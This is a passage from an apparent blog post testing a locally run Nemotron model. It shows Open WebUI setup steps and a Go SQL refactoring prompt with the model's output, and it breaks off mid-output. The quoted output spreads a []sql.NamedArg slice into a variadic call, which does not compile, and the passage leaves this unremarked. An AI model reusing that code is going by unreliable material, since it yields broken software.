 src="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-create-account.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From here, you need to download a model to use. Click the settings button:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1026px">



 &lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1026px, 98vw"
 srcset='https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button_hu_9bcc151ed1fee261.webp 300w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button_hu_18a208e545be8dba.webp 600w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button_hu_b793fb8d5a52cdf4.webp 800w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button.webp 1024w'
 src="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-settings-button.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Click where it says &lt;code>Pull a model from Ollama.com&lt;/code>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1026px">



 &lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1026px, 98vw"
 srcset='https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model_hu_929b67469a358e5d.webp 300w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model_hu_675fb342f7447a8c.webp 600w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model_hu_23e56fe0361a201d.webp 800w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model.webp 1024w'
 src="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-select-model.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For the model, enter &lt;code>nemotron&lt;/code> and hit the download button:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1026px">



 &lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1026px, 98vw"
 srcset='https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron_hu_6b21ad76d311db6.webp 300w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron_hu_23886e4b813dd904.webp 600w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron_hu_bb1f4cf41fd870f2.webp 800w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron.webp 1024w'
 src="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-specify-nemotron.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It&amp;rsquo;s a large file, so it&amp;rsquo;s going to take a few minutes to download. The download progress sits at 100% for a while, but it&amp;rsquo;s not done until you see a popup announcing the model is fully downloaded.&lt;/p>
&lt;h2 id="test-1-refactoring-code-to-use-sqlnamed">Test 1: Refactoring code to use &lt;code>sql.Named&lt;/code>&lt;/h2>
&lt;p>I recently discovered the &lt;a href="https://pkg.go.dev/database/sql#Named">&lt;code>sql.Named&lt;/code> function&lt;/a> in the Go standard library. So, instead of writing SQL queries with the &lt;code>?&lt;/code> placeholder like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>db.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> VALUES(?,?,?,?)`&lt;/span>, &lt;span style="color:#999;font-style:italic">// Ugly placeholders!&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id.&lt;span style="color:#447fcf">String&lt;/span>(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">formatTime&lt;/span>(r.Time),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r.ClientIP,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r.UserAgent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s ugly because the reader has to carry a lot of context in their head to remember what each &lt;code>?&lt;/code> represents, and it&amp;rsquo;s easy to screw things up when rewriting queries.&lt;/p>
&lt;p>Instead, you can write more readable queries with named parameters like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>db.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> VALUES(@entry_id, @download_timestamp, @client_ip, @user_agent)`&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;entry_id&amp;#34;&lt;/span>, id.&lt;span style="color:#447fcf">String&lt;/span>()),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;download_timestamp&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">formatTime&lt;/span>(r.Time)),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;client_ip&amp;#34;&lt;/span>, r.ClientIP),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;user_agent&amp;#34;&lt;/span>, r.UserAgent),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is one of my favorite coding tasks for an LLM, as it&amp;rsquo;s easy to describe to an LLM but tedious for a human to fix manually.&lt;/p>
&lt;p>To test Nemotron, I had it try to re-do a refactoring I&amp;rsquo;d already done in Picoshare &lt;a href="https://github.com/mtlynch/picoshare/pull/560">to replace &lt;code>?&lt;/code> placeholders with &lt;code>sql.Named&lt;/code>&lt;/a>.&lt;/p>
&lt;h3 id="prompt">Prompt&lt;/h3>
&lt;blockquote>
&lt;p>Refactor this code to replace the &lt;code>?&lt;/code> placeholders in the SQL query with &lt;code>sql.Named&lt;/code> arguments:&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> sqlite
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;database/sql&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/picoshare&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (d DB) &lt;span style="color:#447fcf">InsertEntryDownload&lt;/span>(id picoshare.EntryID, r picoshare.DownloadRecord) &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;recording download of file ID %s from client %s&amp;#34;&lt;/span>, id.&lt;span style="color:#447fcf">String&lt;/span>(), r.ClientIP)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> _, err := d.ctx.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> VALUES(?,?,?,?)`&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id.&lt;span style="color:#447fcf">String&lt;/span>(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">formatTime&lt;/span>(r.Time),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r.ClientIP,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r.UserAgent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;insert into downloads table failed: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (d DB) &lt;span style="color:#447fcf">GetEntryDownloads&lt;/span>(id picoshare.EntryID) ([]picoshare.DownloadRecord, &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rows, err := d.ctx.&lt;span style="color:#447fcf">Query&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> SELECT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> FROM
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> WHERE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id=?
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ORDER BY
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp DESC`&lt;/span>, id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err == sql.ErrNoRows {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#6ab825;font-weight:bold">else&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> downloads := []picoshare.DownloadRecord{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> rows.&lt;span style="color:#447fcf">Next&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> downloadTimeRaw &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> clientIP &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> userAgent &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := rows.&lt;span style="color:#447fcf">Scan&lt;/span>(&amp;amp;downloadTimeRaw, &amp;amp;clientIP, &amp;amp;userAgent); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dt, err := &lt;span style="color:#447fcf">parseDatetime&lt;/span>(downloadTimeRaw)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> downloads = &lt;span style="color:#24909d">append&lt;/span>(downloads, picoshare.DownloadRecord{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Time: dt,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ClientIP: clientIP,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> UserAgent: userAgent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> downloads, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="output">Output&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> sqlite
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;database/sql&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/picoshare&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (d DB) &lt;span style="color:#447fcf">InsertEntryDownload&lt;/span>(id picoshare.EntryID, r picoshare.DownloadRecord) &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;recording download of file ID %s from client %s&amp;#34;&lt;/span>, id.&lt;span style="color:#447fcf">String&lt;/span>(), r.ClientIP)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params := []sql.NamedArg{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {Name: &lt;span style="color:#ed9d13">&amp;#34;entry_id&amp;#34;&lt;/span>, Value: id.&lt;span style="color:#447fcf">String&lt;/span>()},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {Name: &lt;span style="color:#ed9d13">&amp;#34;download_timestamp&amp;#34;&lt;/span>, Value: &lt;span style="color:#447fcf">formatTime&lt;/span>(r.Time)},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {Name: &lt;span style="color:#ed9d13">&amp;#34;client_ip&amp;#34;&lt;/span>, Value: r.ClientIP},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {Name: &lt;span style="color:#ed9d13">&amp;#34;user_agent&amp;#34;&lt;/span>, Value: r.UserAgent},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> _, err := d.ctx.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> VALUES(:entry_id, :download_timestamp, :client_ip, :user_agent)`&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params...,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;insert into downloads table failed: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (d DB) &lt;span style="color:#447fcf">GetEntryDownloads&lt;/span>(id picoshare.EntryID) ([]picoshare.DownloadRecord, &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params := []sql.NamedArg{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {Name: &lt;span style="color:#ed9d13">&amp;#34;entry_id&amp;#34;&lt;/span>, Value: id},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rows, err := d.ctx.&lt;span style="color:#447fcf">Query&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> SELECT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> FROM
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> WHERE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id=:entry_id
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ORDER BY
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp DESC`&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params...,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err == sql.ErrNoRows {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#6ab825;font-weight:bold">else&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> downloads := []picoshare.DownloadRecord{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> rows.&lt;span style="color:#447fcf">Next&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> downloadTimeRaw &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> clientIP &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> userAgent &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := rows.&lt;span style="color:#447fcf">Scan&lt;/span>(&amp;amp;downloadTimeRaw, &amp;amp;clientIP, &amp;amp;userAgent); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dt, err := &lt;span style="color:#447fcf">parseDatetime&lt;/span>(downloadTimeRaw)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> []picoshare.DownloadRecord{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> downloads = &lt;span style="color:#24909d">append&lt;/span>(downloads, picoshare.DownloadRecord{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Time: dt,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ClientIP: clientIP,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> UserAgent: userAgent,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
